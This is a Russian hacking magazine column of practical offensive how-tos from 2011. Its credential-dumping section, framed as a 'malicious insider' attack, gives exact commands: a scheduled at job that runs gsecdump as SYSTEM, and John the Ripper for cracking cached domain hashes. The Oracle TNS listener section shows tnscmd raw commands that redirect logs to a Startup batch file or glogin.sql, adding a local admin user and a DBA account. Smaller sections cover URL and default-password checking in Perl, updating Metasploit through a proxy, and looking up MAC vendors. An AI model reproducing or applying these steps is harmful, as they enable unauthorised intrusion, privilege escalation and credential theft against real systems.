Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #145, ФЕВРАЛЬ 2011 г.

Easy Hack

Задача: Проверить группу URL на доступ

Решение

Да здравствует автоматизация! В нашем деле без нее — никак. Например, часто требуется проверить какую-то группу хостов на существование некого url’а или на стандартные логины/пароли. Чтобы автоматизировать данный процесс, можно воспользоваться каким-нибудь скриптовым языком. Я вот Perl люблю, особенно его regexp’ы :).

Потому за основу решения данной задачи возьмем Perl с библиотекой LWP, которая по стандарту присутствует в его комплектациях.

#!/usr/bin/perl
#Подключаем библиотечку
use LWP::UserAgent;
#Первый аргумент — файл с url’ами для проверки
$ip_file=$ARGV[0];
#Открываем файл и читаем его
open(FILE,"$ip_file") or die "$ip_file not found";
while(<FILE>){
#Убираем перевод строки и добавляем хост в массив
chomp($_);
push(@ips, $_);
}
close (FILE);
#Создаем новый объект
$browser = new LWP::UserAgent;
#Ждем ответ 5 секунд
$browser->timeout(5);
#Проходим по всем хостам
foreach $ip(@ips){
#Отправляем запрос на хост
$response= $browser->get($ip);
#Проверяем ответ
if(!$response->is_success){
print "Error: ".$response->status_line."\r\n";
}
else {print "OK: ".$response->status_line. " \r\n ";}
}

Как видишь — все просто. Запрос к серверу выполняется одной командой. В $response->status_line хранится код ответа, по которому можно судить о ситуации. Итог странички в $response->content.

Чтобы пройти http-аутентификацию, требуется добавить пару строк перед отправкой запроса:

$browser->credentials(
$ip[$i].':80',
'Basic realm',
'username' => 'password'
);

Тут все понятно: имя хоста с портом, строка запроса (то, что в кавычках, если зайти на url браузером), логин и пароль. Данный модуль может многое: GET/POST запросы, кукисы, изменение http-заголовков и так далее. Быстро и просто.

Я думаю, ни для кого не секрет, что скриптовых языков много — чего стоят хотя бы такие гиганты, как PHP, Python, Perl, Ruby... Каждый из них имеет свои бонусы, хотя применительно к нашим целям разница не особо заметна. Главное — иметь в запасе знаний хотя бы один скриптовый язык, и его применение, несомненно, принесет хорошие плоды.

Задача: Обновить Metasploit Framework через прокси-сервер

Решение

Metasploit Framework растет и развивается каждый день: новые модули, скрипты и возможности, исправление всевозможных багов… Работа над MSF кипит. Потому и обновлять его желательно каждый день. Система обновления MSF построена на основе SVN (Subversion). Subversion — это свободная централизованная система управления версиями, которая используется очень многими разработчиками программного обеспечения (и не только) в различных проектах. Доступ в SVN осуществляется различными способами, в том числе и по http/https-протоколу. При обновлении Metasploit’а используется как раз https-протокол. И логично, что в такой ситуации система просто обязана поддерживать работу через прокси-серверы.

Ну это так, в качестве общего описания, в основном для Win-пользователей, так как SVN запихнут в большиство *nix-систем :). Но начнем с последних. Файлы конфигов SVN лежат в домашней директории каждого пользователя в .subversion. Для настройки прокси нам потребуется файл server.В нем, в разделе [global], мы можем задать общие настройки по прокси: имя сервера, порт, логин и пароль (если на прокси используется аутентификация пользователей), данные аутентификации для доступа к репозиторию, настройки SSL и так далее.

Так как SVN-система используется для доступа к различным репозиториям, то и настройки можно задавать для каждого из них. Например, зададим настройки для доступа к MSF. Находим [groups] и создаем группу:

MSF = *.metasploit.com
Далее пропишем для нее настройки прокси:
[MSF]
http-proxy-host = адрес_прокси
http-proxy-port = порт_прокси
…

Все, как видишь, очень просто. Теперь немного специфики для MSF в Windows-системах. До последней версии Metasploit работал в Cygwin’е и настраивался SVN уже в нем, то есть аналогично *nix-версиям. С выходом же версии 3.5 ситуация изменилась, так как от Cygwin’а отказались.

Теперь в Win-инсталляшке помимо MSF устанавливается куча всякого дополнительного ПО типа PostgeSQL и JAVA (потому и размер дистрибутива вырос до 250 метров). В том числе устанавливается Subversion.

Лежит он физически в «путь_до_MSF\tools\svn». Кстати, поговаривают о проблемах, если Subversion уже был установлен. Так что будь там осторожнее :).

Файл настройки SVN запрятали совсем глубоко — в скрытую папку «Application Data» каждого из пользователей. Попасть туда можно так: %APPDATA%\Subversion.

Остальное — аналогично *nix-системам.

Задача: Получить название производителя устройства по его MAC-адресу.

Решение

Ни для кого не секрет, что почти у всех сетевых устройств имеются 48-битные MAC-адреса, и что адреса эти уникальны. Первые 24 (точнее, 22) бита адреса привязаны к его производителю. Потому появляется возможность выявлять однотипные устройства в локальной Сети, а в случае крупных Сетей это бывает очень полезно. Большинство Х-тулз типа Nmap’а имеют свои базы (файл nmap-mac-prefixes), по которым выявляют вендора. Но не все так часто обновляются, как Nmap, и, например, тот же Сain&Abel (файл oui.txt) имеет проблемы с определением производителя по новым устройствам. Последнюю официальную базу OUI (Organizationally Unique Identifier) можно почерпнуть тут: standards.ieee.org/develop/regauth/oui/oui.txt.

Кроме того, есть нестандартные значения OUI, которых нет в данной базе. В основном это всякие виртуальные устройства. Некоторые из таких OUI есть в базе Nmap’а, в остальных случаях потребуется воспользоваться силами поисковиков.

Задача: Получение прав доменного админа

Решение

Продолжим серию решений для этой насущной задачи :) В данном случае предположим, что у нас есть физический доступ к одному из компьютеров (мы — злобные инсайдеры), на который заходил, хотя бы удаленно, один из доменных админов. Добиться того, чтобы админ зашел на него — не проблема. По стандарту, у обычных пользователей нет прав на установку ПО или изменение каких-либо настроек — это делают админы. По логике, админы должны бы ходить для таких дел по компьютерам под урезанными учетными записями, но такое бывает редко — обычно они ползают c доменными правами. Если такими мелкими вопросами занимается техподдержка и админчика не удается заставить зайти на подконтрольный комп, то это тоже не страшно. Завладев правами техподдержки, можно уже будет развить атаку на других системах.

Общая задача такова: запустить какую-нибудь тулзу типа gsecdump’а или fgdump’а, которая выдаст нам либо хэшики, либо кэшики пароля админчика :). Имея хэшики, можно будет сразу ползти на домен, используя технику «pass the hash», о которой я писал в предыдущем номере. Кэшики придется брутить. Но давай последовательно. Данные тулзы для своей работы требуют как минимум прав Администратора, но по факту — LocalSystem.Как стать локальным админом — вопрос, конечно, большой. Но если его получить хотя бы в виде NTLM-хэша, то, считай, дело сделано. Хотя бы потому, что очень часто пасс на локального админа ставят одинаковым для большинства хостов.

Но мы воспользуемся несколько другим способом. Используя либо загрузочный диск, либо загрузочную флешку и поставив загрузку с данного девайса, можно сбросить пароль локального админа. Дистрибутивов, которые могут делать такие вещи, достаточно. Если на BIOS стоит пароль, то можно его сбросить, вынув батарейку. Классика, в общем.

Еще важный момент. Локальный администратор — это стандартная учетная запись, но при использовании доменов ее частенько отключают для секьюрности. Фишка в том, что если перезагрузить комп и запустить Windows в безопасном режиме (кликай F8 при загрузке ОС), то локальная учетная запись админа включается. Так что очень вероятно подойдет и пустой пароль :). Зайдя под локальным админом, можно включить учетку и в нормальном виде («Мой ПК - Управление компьютером - Пользователи - Администратор - Свойства - Отключить учетную запись»). Далее, залогинившись под администратором, можно поднять свои права до System. Но сначала о специфике данных тулз, и вообще о системе хранения авторизационных данных в Windows.
Данные эти хранятся в трех местах: в SAM, в LSA и в кэше. Если не вдаваться в подробности, то:

  • в SAM хранятся LM/NTLM–хэши локальных пользователей данного хоста;
  • в LSA также хранятся LM/NTLM–хэши, но уже пользователей доменных;
  • в кэше хранятся хэши паролей десяти последних пользователей, которые авторизовались на данном хосте.

Хэши из SAM, понятно, нам не очень интересны. Кстати, hashdump в MSF достает только их, к сожалению. LSA — лакомый кусочек, но данные в нем стираются после перезагрузки. Кэш — неплохое место. Официально он используется в тех ситуациях, когда доменный хост не имеет связи с доменом, а пользователю всетаки надо поработать. Потому авторизация происходит с использованием данных из кэша.

Для нас проблема с кэшем заключается в том, что это не простой NTLM-хэш (DES). Кэш получается следующим образом:

  1. Пароль хэшируется NTLM-алгоритмом (то есть DES);
  2. Логин конвертируется в Unicode;
  3. Логин добавляется к хэшу пароля, и еще раз хэшируется по MD4.

Так как хэш «просаливается» логином, то тут нам поможет только перебор. Подробнее можно почитать тут: openwall.info/wiki/john/MSCash.

Теперь о тулзах: fgdump — может доставать кэши, а gsecdump — доменные учетные записи из хранилищ. Обе берут также данные из SAM.

Чтобы получить права System, можно воспользоваться стандартным виндовым планировщиком заданий. Под Windows XP точно работает :).

Пишем в консоли:

at 19:45 /INTERACTIVE cmd /c "c:\gsecdump.exe -a > c:\hash.txt"

Где:

  • at — команда для манипуляции с заданиями;
  • 19:45 — время запуска команды;
  • /INTERACTIVE — необязательная опция, которая указывает, что пользователь может взаимодействовать с запускаемой программой;
  • cmd /c "c:\gsecdump.exe -a > c:\hash.txt " — запускаем консоль, в которой запустится gsecdump, на дамп из всех мест, сохраняя результат в файл hash.txt.

Для работоспособности данного способа требуется, чтобы была запущена служба «Планировщик заданий» (Schedule service). Чтобы не ждать долго, ставим время запуска через пару минут от текущего времени, и в назначенный момент данная команда выполнится с необходимыми правами, а мы получим хэшики/ кэшики.

Что делать с хэшиками — ясно, кэшики же, как было сказано ранее, придется брутфорсить.

Сделать это можно, например, используя John The Ripper (openwall.com/john) c jumbo патчем (openwall.com/john/contrib/john-1.7.6jumbo-9-win32.zip), либо используя Cain&Abel (oxid.it/cain.html).

john.exe --format=mscash --wordlist=password_2.lst
fgdump.txt

Где

  • --format=mscash — указываем, что ломаем виндовый кэш;
  • --wordlist=password_2.lst — ворд-лист (но можно и перебором);
  • fgdump.txt — откуда брать кэшики.

Джон понимает стандарный вывод fgdump’а. С Cain’ом несколько сложнее. Во-первых, потому, что в Cain можно импортировать кэшики либо с локальной машины, либо из краденых разделов реестра (security и system). Во-вторых, у Cain’а другой формат вводимых данных, не такой, как у fgdump’а. Но это все решабельно. Как — читай далее.

Итак, открываем папку с Cain’ом и находим там файл cache.lst. Он обычный текстовый. Открываем его и вставляем данные итогов fgdump’a. Разница в форматах заключается в том, что у fgdump’a он имеет вид: имя_пользователя : кэш : имя_домена : полное_имя_домена
А у Cain’а:

имя_домена \t имя_пользователя \t пароль \t кэш \t пометки

Где \t — знак табуляции. Так как пароль неизвестен, то в соответствующем месте оставляем пустоту. Поле пометки тоже пустое. Главное — соблюсти символы табуляции. Еще одна проблема, классическая, кириллические имена пользователей. У fgdump’а с этим проблемы. Не совсем ясна ситуация с john’ом. У Cain’а все тип-топ. Вот, в принципе, и все.

Задача: Похакать сервер Oracle через TNS-Listener.

Решение

Есть один бородатый способ порутания операционной системы и/или повышения своих прав в Oracle через TNS-listener этой самой базы данных. Работает он во всех версиях до 10-й. Вообще TNS listener используется во всех Oracle'ах для управления сетевым трафиком между базой данных и клиентами. Висит этот сервис обычно на 1521 порту.

Листенер — это одна из основных возможностей залезть в систему. Во-первых, потому, что через него можно выполнять кое-какие команды типа status, services и version, в ответе которых можно найти чрезвычайно полезную информацию. Например, версию ОС и Oracle, а также SID’ы базы данных. Во-вторых, есть несколько уязвимостей, связанных с его DoS'ом. Суть же описываемого способа заключается в эксплуатации уязвимости этого TNS-listener’а, которая позволяет указывать любое место для записи логов за счет команды set_log.

Для реализации мы можем воспользоваться либо простеньким perlскриптиком (jammed.com/~jwa/hacks/security/tnscmd), либо аналогичным модулем в Metasploit’е (auxiliary\admin\oracle\tnscmd).

Итак, выполняем следующие две команды:

./tnscmd.pl -h 192.168.0.100 --rawcmd
"(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)
(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)
(SERVICE=LISTENER)(VERSION=1)(VALUE=C:\Documents
and Settings\All Users\Start Menu\Programs\Startup\
blahblah.bat)))"

Где

  • -h 192.168.0.100 — это наша цель с Oracle'ом;
  • --rawcmd — указываем, что будет посылаться следующая строка, а не стандартная команда.

Тут есть важный момент: это указание выполнить команду log_file (COMMAND=log_file) с необходимым нам значением (VALUE=C:\Documents and Settings\All Users\Start Menu\Programs\Startup\ blahblah.bat).

В данном случае мы указали батник, который создастся в меню «Пуск - Автозагрузка» у всех пользователей. И когда какой-то пользователь зайдет на сервер с Oracle’ом, то исполнятся команды, которые мы туда запихнем следующим образом:

./tnscmd.pl -h 192.168.0.100 --rawcmd
"(DESCRIPTION=(CONNECT_DATA=((
net user username password /add
net localgroup Администраторы username /add

Команды стандартные виндовые. Первая добавляет пользователя username с паролем password в ОС, а вторая — добавляет этого пользователя в группу локальных администраторов. Простенько, но работает. Что хорошо — Oracle чаще всего бывает запущен под системными учетными записями, то есть с большими правами, а потому позволяет писать логи куда угодно.

Основная проблема данного способа заключается в том, что кроме наших команд в лог-файл попадает куча всякого мусора, который ограничивает наши возможности. С батниками все о’кей — мусор не воспринимается в консоли, а необходимые для исполнения команды мы выделяем переносами строк.

Можно воспользоваться еще одной классической идеей и создать нового пользователя в Oracle с правами DBA, а это бывает даже важнее самой ОС, когда цель — база данных. Для этого в качестве итогового файла логов укажем glogin.sql. По стандарту в винде с девятой версией Oracle это C:\oracle\ora92\sqlplus\admin\glogin.sql. Этот файлик запускается при старте SQL*Plus. А следующими командами мы создаем пользователя и даем ему роль DBA:

./tnscmd.pl -h 192.168.0.100 --rawcmd "(CONNECT_DATA=((
create user hacker identified by hacker;
grant dba to hacker;

То есть, понятно, что дырка не простая, и можно придумать что-то хитрое и рабочее. На jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html есть более подробное описание уязвимостей TNS listener'а.

Содержание